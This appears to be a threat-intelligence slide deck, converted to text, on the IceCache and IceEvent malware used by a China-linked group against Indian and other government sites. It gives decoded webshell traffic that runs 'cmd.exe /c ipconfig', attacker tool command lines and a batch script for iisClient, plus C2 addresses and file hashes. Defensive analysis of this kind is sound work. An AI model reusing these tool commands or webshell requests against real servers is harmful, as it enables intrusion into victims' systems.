000000B0 69 6e 67 3a 20 67 7a 69 70 0d 0a 0d 0a ing: gzip....
000000BD 46 59 07 0f c2 a7 1f 12 e8 56 0a 2e 2c 1a 71 35 FY.....V...q5
000000CD 0e 5d 13 51 ce a4 1d 55 ea 08 1b 6c 64 4d 58 23 .].Q...U...ldMX#
000000DD 51 09 56 0.V
00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK.
00000010 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 .Content-Type: t
00000020 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 ext/plain; char
00000030 65 74 3d 55 54 46 2d 38 0d 0a 53 65 72 76 65 72 et=UTF-8..Server
00000040 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 49 49 53 2f : Microsoft-IIS/
00000050 31 30 2e 30 0d 0a 58 2d 53 54 41 54 55 53 3a 20 10.0..X-STATUS:
00000060 4f 4b 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 31 OK..Date: Sat, 1
00000070 33 20 4a 75 6c 20 32 30 32 34 20 30 35 3a 35 30 3 Jul 20 24 05:50
00000080 3a 34 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 :48 GMT..Content
00000090 2d 4c 65 6e 67 74 68 3a 20 36 35 33 0d 0a 0d 0a -Length: 653....
000000A0 28 3e 34 5b cf ae 14 4b fe 0e 26 55 29 ce 90 dd (>4[...K..&U)...
000000B0 c3 bc f3 3f ab c7 71 31 87 cd ed a1 ea ab 8b b5 ...?..q1 .....
000000C0 a7 81 80 b1 2c 29 f8 bf 6e ad e7 25 ea aa 95 b5 ....,)...n..%....
000000D0 a6 b4 80 b1 36 29 f9 83 6e ad d3 25 ea aa 93 b5 ....6)..n..%....
000000E0 a6 88 80 b0 14 29 f8 b1 6e ad ec e6 8a a0 0d 5b .....).n.....[
000000F0 2f 39 69 12 81 ea 9d b2 28 c9 d9 9f ec b3 8d b0 /9i.....(.....

```

**Input**

```

FYBELSIÂ§USDC2èv
.,SUBq5SO]DC3QÎαGSUêBSESCldMX#Q V|

```

XOR

25 34 63 32 A1 CA 7B 3C 8D 2E 6F 05 09 28 37 56

**Output**

```

cmd=cmd.exe+%2Fc+ipconfig&timeout=5|

```

# Infrastructure

# Related Infrastructure



- Proxy
- Ping
- cURL
- StaX

```
./iisClient -u https://[REDACTED]/1.txt --add "ioss" --to http://[REDACTED].k9ccin.com
```

```
./admin -e [REDACTED].d45qomwk1.online
```

```
d45qomwk1.online  
k9ccin.com  
k8ccyn.com  
88k8cc.com  
googlesvn.com
```

```
165.22.211.62  
64.227.133.248  
173.208.156.19  
173.208.156.144  
154.213.17.225  
103.150.186.219
```

```
63.141.255.16  
204.12.205.10  
107.148.37.63  
103.99.60.119  
154.213.17.237  
45.195.205.88
```

```
154.213.17.244  
103.99.60.93  
149.115.231.17  
149.115.231.39  
103.99.60.108
```



# Related Infrastructure



IP	AS	company	country	region	city
165.22.211.62	DIGITALOCEAN-ASN	DigitalOcean, LLC	IN	Doddaballapura	Karnataka
64.227.133.248	DIGITALOCEAN-ASN	DigitalOcean, LLC	IN	Doddaballapura	Karnataka
103.150.186.219	Ewebguru	Noida Network	IN	Uttar Pradesh	Noida
107.148.37.63	PEG TECH INC	PEG TECH INC	SG	Singapore	Singapore
103.99.60.119	Hong Kong FireLine Network LTD	Shenzhen City Kayan Technology Co., Ltd	CN	Shenzhen	Guangdong
103.99.60.108	Hong Kong FireLine Network LTD	Shenzhen City Kayan Technology Co., Ltd	CN	Shenzhen	Guangdong
103.99.60.93	Hong Kong FireLine Network LTD	Shenzhen City Kayan Technology Co., Ltd	CN	Shenzhen	Guangdong
154.213.17.225	Hong Kong FireLine Network LTD	HK Qianlong Technology Co., Limited	HK	Hong Kong	Hong Kong
154.213.17.237	Hong Kong FireLine Network LTD	HK Qianlong Technology Co., Limited	HK	Hong Kong	Hong Kong
45.195.205.88	Hong Kong FireLine Network LTD	HK Qianlong Technology Co., Limited	HK	Hong Kong	Hong Kong
154.213.17.244	Hong Kong FireLine Network LTD	HK Qianlong Technology Co., Limited	HK	Hong Kong	Hong Kong
149.115.231.17	XNNET LLC	Cogent Communications	US	Los Angeles	California
149.115.231.39	XNNET LLC	Cogent Communications	US	Los Angeles	California
173.208.156.19	WII	WholeSale Internet, Inc	US	Missouri	Kansas City
173.208.156.144	WII	WholeSale Internet, Inc	US	Missouri	Kansas City
63.141.255.16	Nocix, LLC	Nocix, LLC	US	Missouri	Kansas City
204.12.205.10	Nocix, LLC	Nocix, LLC	US	Missouri	Kansas City

# Attribution


# Work Cycle: Hour




8 a.m. ~ 10 p.m. 🤖



The timestamps of command history in UTC+8



# Work Cycle: Week



# Evil Working Conditions



## 996 working hour system

🗺️ 28 languages ▾

Article [Talk](#)

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From Wikipedia, the free encyclopedia



This article **is missing information** about background on other (especially non-tech) overwork cultures in China; legitimized "special work hour" system in Shenzhen. Please expand the article to include this information. Further details may exist on the [talk page](#). *(July 2021)*

The **996 working hour system** ([Chinese](#): 996工作制) is a work schedule practiced illegally by many companies in [China](#). It derives its name from its requirement that employees work from **9**:00 am to **9**:00 pm, **6** days per week; i.e. 72 hours per week, 12 hours per day.<sup>[1][2][3][4][5][6]</sup> A number of [Mainland](#)

[Chinese](#) internet companies have adopted this system as their official work schedule. Critics argue that the 996 working hour system is a violation of [Chinese Labour Law](#) and have called it "[modern slavery](#)".<sup>[7][8]</sup>

### 996 working hour system

[Chinese](#) 996工作制

**Transcriptions** [\[show\]](#)

[https://en.wikipedia.org/wiki/996\\_working\\_hour\\_system](https://en.wikipedia.org/wiki/996_working_hour_system)

# Simplified Chinese




Simplified Chinese characters were used in comments of scripts

```
1  #!/bin/bash
2
3  # 逐行读取1.txt
4  while IFS= read -r line; do
5      # 执行 ./x 命令并传递每一行的内容作为参数
6      echo $line
7      ./iisClient -u https://$line/1.txt --list
8  done < "1.txt"
```

# reGeorgGo

- Developed by Chinese security engineer
- Fairly minor tool and not used elsewhere



The screenshot shows a GitHub search interface. The search bar contains "reGeorgGo". On the left, a "Filter by" sidebar shows "Code" with 6 results, and other categories like "Repositories", "Issues", "Pull requests", "Discussions", and "Users" all with 0 results. The main content area shows "6 files (951 ms)" and a file named "zz1gg/secdemo · proxy/reGeorgGo/README.md". The file content is a README with the following text:

```
5
6
7  `` `bash
8  Usage: ./reGeorgGo [OPTIONS]
9  ./reGeorgGo [-l addr] [-p port] [-u http tunnel url]
10
11 Example:
```

<https://github.com/zz1gg/secdemo/tree/main/proxy/reGeorgGo>



<https://zz1gg.github.io/>

# Relationship with the Targets


India is engaging in strategic cooperation with Mauritius to counter China's expansion into the Indian Ocean

February 29, 2024

Prime Minister Shri Narendra Modi and Prime Minister of Mauritius, H.E. Mr. Pravind Kumar Jugnauth virtually inaugurated the new Airstrip, Saint James Jetty and six Community Development Projects at the Agalega island of Mauritius



<https://www.mea.gov.in/newsdetail1.htm?12042/>





# Diamond Model



Adversary

- use Simplified Chinese
- Working under the 996 working hour system
- Interested in the politics of Indian Ocean countries

- IN region VPS
- HK or CN Hosting


Capabilities

- Exploiting web application vulnerability
  - SQL Injection
- Prefer open-source proxy tools
  - reGeoge
  - Suo5
  - Stowaway
  - ProxyChains
- IceCache and IceEvent

Infrastructure

- Geography
  - South and South east Asia
  - India, Mauritius, and Vietnam
  - Indian Ocean and South China Sea
- Industry
  - government agencies
  - Academic

Victims



# Wrap-Up

# Wrap-Up



IcePeony is a China-nexus APT group

- Active since at least 2023
- Targeting South and Southeast Asia
  - India, Mauritius, and Vietnam
    - Indian Ocean and South China Sea
  - Mainly government agencies
    - An attack targeting over 200 different Indian government websites
- Exploiting web application vulnerability
  - SQL Injection
- Using Original malware
  - IceCache and IceEvent
- Maybe connected to China's maritime strategy



**Thank you**

# Appendix: IoCs



- 165[.]22.211.62
- 64[.]227.133.248
- 173[.]208.156.19
- 173[.]208.156.144
- 154[.]213.17.225
- 103[.]150.186.219
- 63[.]141.255.16
- 204[.]12.205.10
- 107[.]148.37.63
- 103[.]99.60.119
- 154[.]213.17.237
- 45[.]195.205.88
- 154[.]213.17.244
- 103[.]99.60.93
- 149[.]115.231.17
- 149[.]115.231.39
- 103[.]99.60.108
- d45qomwkl[.]online
- k9ccin[.]com
- k8ccyn[.]com
- 88k8cc[.]com
- googlesvn[.]com

# Appendix: IoCs



- IceCache

- 484e274077ab6f9354bf71164a8edee4dc4672fcfbf05355958785824fe0468f
- 5b16d1533754c9e625340c4fc2c1f76b11f37eb801166ccfb96d2aa02875a811
- ceb47274f4b6293df8904c917f423c2f07f1f31416b79f3b42b6d64e65dcfe1b
- e5f520d95cbad6ac38eb6badbe0ad225f133e0e410af4e6df5a36b06813e451b
- d1955169cd8195ecedfb85a3234e4e6b191f596e493904ebca5f44e176f3f950
- 11e90e2458a97957064a3d3f508fa6dadae19f632b45ff9523b7def50ebacb63
- de8f58f008ddaa60b5cf1b729ca03f276d2267e0a80b584f2f0723e0fac9f76c
- b8d030ed55bfb6bc4fdc9fe34349ef502561519a79166344194052f165d69681
- 535586af127e85c5561199a9a1a3254d554a6cb97200ee139c5ce23e68a932bd
- 0b8b10a2ff68cb2aa3451eedac4a8af4bd147ef9ddc6eb84fc5b01a65fca68fd
- 5fd5e99fc503831b71f4072a335f662d1188d7bc8ca2340706344fb974c7fe46
- 3eb56218a80582a79f8f4959b8360ada1b5e471d723812423e9d68354b6e008c
- a66627cc13f827064b7fcea643ab31b34a7cea444d85acc4e146d9f2b2851cf6
- 0eb60e4c5dc7b06b719e9dbd880eb5b7514272dc0d11e4760354f8bb44841f77

- IceEvent

- 80e831180237b819e14c36e4af70304bc66744d26726310e3c0dd95f1740ee58
- 9a0b0439e6fd2403f764acf0527f2365a4b9a98e9643cd5d03ccccf3825a732e
- 9aba997bbf2f38f68ad8cc3474ef68eedd0b99e8f7ce39045f1d770e2af24fea
- bc94da1a066cbb9bdee7a03145609d0f9202b426a52aca19cc8d145b4175603b